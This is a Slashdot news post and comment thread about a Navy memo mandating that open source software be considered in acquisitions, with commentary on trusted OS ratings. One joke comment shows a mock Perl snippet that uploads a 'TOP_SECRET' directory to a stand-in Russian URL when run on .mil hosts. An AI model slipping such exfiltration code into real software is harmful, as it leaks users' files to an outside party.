Navy Now Mandated To Consider FOSS As an Option

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

Comments

Inconceivable!

[theTrueMikeBrown]

The government saving money?

I am speechless.

Re:Inconceivable!

[MillionthMonkey]

They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

if ($hostname =~ m/.*\.mil/) {
    multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
    explode() || die("The requested operation cannot be performed");
}

Sing with me

[niceone]

In the navy
Yes, you can sail the gcc's
In the navy
Yes, you can open source with ease
In the navy
Come on now, people, make && make install
In the navy, in the navy
... hmm I've kind of painted myself into a corner there...

Re:Sing with me

[drinkypoo]

... hmm I've kind of painted myself into a corner there...

I was going to say that you've painted yourself mauve, or possibly chartreuse.

Finally!

[eln]

Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.

Great! This is what you have to do

[i_want_you_to_throw_]

When I worked for the Army I had to unilaterally implement FOSS solutions because the people who controlled the purse strings knew nothing about technology. They were dazzled by Oracle, M$ and every other vendor. One young green suiter from the front office put it to me this way: "Just say that this great open source solution will cost you X million dollars and take two years to implement. That's the only thing we understand".

Re:Great! This is what you have to do

[jd]

There are only a handful of OS' that are considered "trusted". HP-UX BLS, Trusted Unicos 8.0, SEVMS, CS/SX, Trusted IRIX, Trusted Solaris, VSLAN, Trusted XENIX, XTS-300, XTS-400, PR/SM, SACDIN, THETA and Genesis. I see a distinct lack of OS/X, Microsoft isn't even remotely close, Linux has 30% of the RBAC requirements to be really secure in a modern environment - which is better than many, and OpenBSD is only considered watertight from external attacks - it has minimal security between users.

When you consider that you can build role-based access controls that can migrate with applications across clusters, when network connection types, network bandwidth, shared memory and inter-process communication have mandatory access controls, you really begin to see just how pathetically limited generally-available OS' really are. There's no reason for it - there's nothing that prevents a widely-available system from being harder than a diamond-encrusted pulsar.

The reason that nobody bothers much with making OS' secure is that the DoD has long-proved (by buying Windows and by failing their security audits) that security doesn't matter enough to be worth the effort. Security to this level costs big money, and only the really big corporations can afford the costs or have the market to pay for it. Companies can lose hundreds of thousands of credit cards and maybe get rapped knuckles - if they're even discovered. Only one State requires reporting - but plenty of other places have e-Commerce. System crackers - black hats especially - are a pervasive part of society with no serious effort to secure networks against them.

If the money did exist, if there was serious interest in serious prevention, host intrusion detection wouldn't be MD5 checksums (which were beaten soundly, according to the Internet Auditing Project). Plain-text passwords wouldn't exist. One-time pads and public-key encryption would be the only way to log onto Slashdot or any other web service. Zombies, Trojans and Viruses would be found in technology museums, under "extinct electronic lifeforms". If a disk drive with tens of millions of credit cards or social security numbers went missing, in a secure world that would be cause for a few minutes downtime to replace what was lost, rather than a few weeks or months of running round in circles doing nothing.

You see any of that happening? No? Then security is still regarded as an optional extra, not as a fundamental design requirement, and will never reach its true potential. Furthermore, agencies will continue buying/copying OS' based on ease of initial deployment and not on whether it'll protect the data sufficiently.

Re:Great! This is what you have to do

[jd]

It was rated C2, which means that it's got the real basic protections but that's about it. C-class operating systems were the lowest that could be used in any Government role, so when the early Windows 2000 failed one of the tests, it was technically unlawful to use Windows 2000 for any Government work, even when totally standalone. (The Orange Book only measured internal security, not network security, so failing on the Orange Book tests was a big deal.)

Although NT4 was certainly used for secret material, I am pretty sure that only B-rated operating systems were entitled to hold secret and some top secret information. A-rated systems could be used for anything. Only one truly general-purpose A-rated OS (Genesis) was ever developed and officially rated - many other A-rated OS' existed, but they were all special-purpose. C-rated systems were only supposed to be used for unclassified and commercially sensitive material, if I remember the system correctly.

Trusted Solaris was rated B1, which meant it was as good as you could get without some very stringent formal proofs of correctness and formal design methodologies. The big difference between B1 and A1 is that a B1 system is bulletproof only according to any tests and evaluations performed on it, but the tests aren't guaranteed comprehensive. With an A1 system, you also know that the implementation exactly matches the design and that there is no obvious flaw in the design.

However, the criteria have shifted over time. Under the Common Criteria, Trusted Solaris and Solaris 9 "only" rate EAL-4+ (out of a maximum of 7), with PR/SM and XTS-400 being the only ones to rate 5. Bear in mind that RHEL4 update 1 is also classed as 4+, as are Windows Server 2003 and Windows XP. The difference in security between Windows 2003 and Trusted Solaris is so vast as to be laughable, and the idea that a highly specialized, highly secure system like XTS-400 is less than a single unit of trustworthiness better than XP is a complete joke. Clearly the method used in the Common Criteria is flawed to the point of not being useful as a measure of trust.

Mind you, the Orange Book was not perfect. Trusted Irix was rated B3, MULTIX was rated B2. The Multicians (a group of surviving kernel developers for MULTICS) let me know that there was no API, but you can't test if the API works if there is no API to test against. This makes testing for code safety difficult at best - you've nothing to tell you what's meant by safe. I'm prepared to believe MULTIX was brilliant, in fact I do believe that, but I have a hard time believing that the level of trust you could place in it was somewhere between that of Trusted Irix and Trusted Solaris. That may well be the case, but it feels more likely somehow that the evaluation criteria are too narrow and too minimalistic.

(I'd develop my own criteria, but having friends and karma on Slashdot doesn't equate to being taken more seriously by industrial leaders on security issues than defense industry specialists. In fact, even being on Slashdot is probably a big minus in the eyes of places like BAE or Sun Microsystems. Which, of course, is stupid - everyone here knows Slashdot readers are the creme a-la creme of the industry.)

Re:Great! This is what you have to do

[jd]

Ok, here's a rundown on what I'd consider to be the criteria for measuring the trust of an OS:

• Privileges should be defined on a gross level using role-based access controls and then on a fine level using hierarchical access controls:
  • Privileges should be universal. In other words, they should not just apply to applications or system calls, but also to address ranges, network ports, network types of service, disk directories, memory regions, shared memory regions, login and authentication methods, swap space quota and rights, run queues available - everything.
  • Privileges can never increase, but they can decrease. If a thread loses the right to run, any time to run in, or any ability to do anything if running, then it can be used for denial of service but nothing else and should therefore be eliminated.
• The OS should not allow a user to escalate their privileges, even if a flaw is found within an application or Operating System:
  • Programs either run or accessed by a "local" user (or remotely by an identified "local" user) should never have greater rights than that subset of rights that exists for both program and user.
  • Programs either run or accessed by any other remote user should always be run with minimal rights.
  • The same is true for all other communication between any combination of users, processes, activities and resources.
• The OS should not allow a user to escalate anyone else's privileges either (a major requirement of systems on classified networks):
  • If any resource of any kind is placed somewhere another user can access it, that resource must have privileges that are no greater than the subset of it's own privileges, that of the source user/process and that of the destination user/process.
  • The source and destination must be of a compatible nature - some roles cannot transfer resources to other roles, transfers that would result in the elimination of a mandated right would not be permitted, etc.
  • Where the transfer is of a pipe or other communications mechanism, nothing coming through the pipe can have greater rights than the pipe itself.
• There should be no bypass mechanism:
  • This means no superuser, no special kernel components and no supervisory element. Everything that runs, including all kernel threads, should run with relative not absolute rights. When bugs are found - and they will be - the damage should be restricted to within a smaller scope than could have been inflicted without the bug.
• The overall design of the software should be structurally correct.
  • In other words, if you draw out how the data flows, there should be no arc that would invalidate the security model by running out of rights or by having too many.
• Those components for which a mathematical model can both exist and be verified should have such a model that has been verified.
  • Formal Methods are extremely hard to use well for giant projects, but there are many subsets for which they are ideal. An example of a formal method would be the Z Specification language, which is now an ISO standard. Tedious in the extreme for anything that's long and complex, it would be very usable for privilege management, key functions such as kmalloc/kfree, and other fundamental components on which the OS depends.
• All components and combinations of components should be fully specified in some form and tested to that specification.
  • A specification needn't be formal in the mathematical sense, but it should be possible to derive valid cases, extreme (ie: corner) cases, and invalid cases. Both component-level and integrated test harnesses should then validate that all identified cases produce the expected results. Integrated testing should include both shotgun and continuous tests.
  • Distributed and massively parallel algorithms can be extremely difficult to prove, but it is essential for any level of confidence that they be pr

Net result: very little.

[Frosty Piss]

In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions...

Judging based on my knowledge of DoD networks and computer applications, I don't believe this will have much of an effect on IT decisions in the Navy. (at the Air Force base I work at, we have some BSD, but it's running on specialized devices on a very small scale). It reminds me of how my father did equipment purchasing at the university he worked at (and I'll bet most Navy IT sections will do the same): The university had a set of requirements for big computer purchases that favored specific venders and things like low bit. By dad simply wrote the specs for what he wanted so strictly that only one product would satisfy the requirements.

Also, keep in mind that great scads of DoD IT is standardized on Microsoft networks and applications that would be difficult to integrate with OSS for a variety of reasons. And, there will always be FUD based "security" reasons that military networks will want to avoid OSS.

Net result: very little.

Re:Cool!!

[Registered Coward v2]

Actually, all it says is that OSS can be considered COTS; so a DON entity can now classify OSS as COTS for procurement purposes. Nothing in it says they must consider OSS during procurement; and the requirement to talk to the lawyers when considering it will probably result in it being ignored anyway.

Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source? On theory the DON, as longs the program stays within the US Government, would be under no obligation to release any modifications since they have not distributed it; all they have done is install and run it on machines owned by them.